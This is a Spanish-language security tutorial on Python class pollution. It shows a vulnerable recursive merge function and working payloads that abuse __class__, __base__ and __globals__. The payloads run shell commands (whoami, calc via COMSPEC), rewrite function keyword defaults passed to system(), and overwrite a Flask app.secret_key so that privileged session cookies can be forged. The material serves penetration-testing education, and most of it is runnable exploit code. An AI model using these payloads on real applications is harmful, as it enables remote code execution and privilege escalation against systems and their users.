Contaminación de Clases (Contaminación de Prototipos de Python)

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Ejemplo Básico

Verifique cómo es posible contaminar clases de objetos con cadenas:

python
class Company: pass
class Developer(Company): pass
class Entity(Developer): pass

c = Company()
d = Developer()
e = Entity()

print(c) #<__main__.Company object at 0x1043a72b0>
print(d) #<__main__.Developer object at 0x1041d2b80>
print(e) #<__main__.Entity object at 0x1041d2730>

e.__class__.__qualname__ = 'Polluted_Entity'

print(e) #<__main__.Polluted_Entity object at 0x1041d2730>

e.__class__.__base__.__qualname__ = 'Polluted_Developer'
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'

print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>

Ejemplo Básico de Vulnerabilidad

python
# Initial state
class Employee: pass
emp = Employee()
print(vars(emp)) #{}

# Vulenrable function
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


USER_INPUT = {
"name":"Ahemd",
"age": 23,
"manager":{
"name":"Sarah"
}
}

merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}

Ejemplos de Gadget

Creando valor predeterminado de propiedad de clase para RCE (subprocess)
python
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class

class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}

recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"

# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)

print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
Contaminando otras clases y variables globales a través de globals
python
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class User:
def __init__(self):
pass

class NotAccessibleClass: pass

not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
Ejecutación arbitraria de subprocesos
python
import subprocess, json

class Employee:
def __init__(self):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(USER_INPUT, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
Sobrescribiendo __kwdefaults__

__kwdefaults__ es un atributo especial de todas las funciones, basado en la documentación de Python, es un “mapeo de cualquier valor predeterminado para parámetros solo de palabra clave”. Contaminar este atributo nos permite controlar los valores predeterminados de los parámetros solo de palabra clave de una función, estos son los parámetros de la función que vienen después de * o *args.

python
from os import system
import json

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Employee:
def __init__(self):
pass

def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)

print(execute.__kwdefaults__) #> {'command': 'whoami'}
execute() #> Executing whoami
#> user

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
Sobrescribiendo el secreto de Flask a través de archivos

Entonces, si puedes hacer una contaminación de clase sobre un objeto definido en el archivo python principal de la web pero cuyo clase está definida en un archivo diferente al principal. Porque para acceder a __globals__ en las cargas útiles anteriores necesitas acceder a la clase del objeto o métodos de la clase, podrás acceder a los globals en ese archivo, pero no en el principal.
Por lo tanto, no podrás acceder al objeto global de la aplicación Flask que definió la clave secreta en la página principal:

python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'

En este escenario, necesitas un gadget para recorrer archivos y llegar al principal para acceder al objeto global app.secret_key para cambiar la clave secreta de Flask y poder escalar privilegios conociendo esta clave.

Una carga útil como esta de este informe:

python
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key

Utiliza esta carga útil para cambiar app.secret_key (el nombre en tu aplicación podría ser diferente) para poder firmar nuevas y más privilegiadas cookies de flask.

Consulta también la siguiente página para más gadgets de solo lectura:

Python Internal Read Gadgets

Referencias

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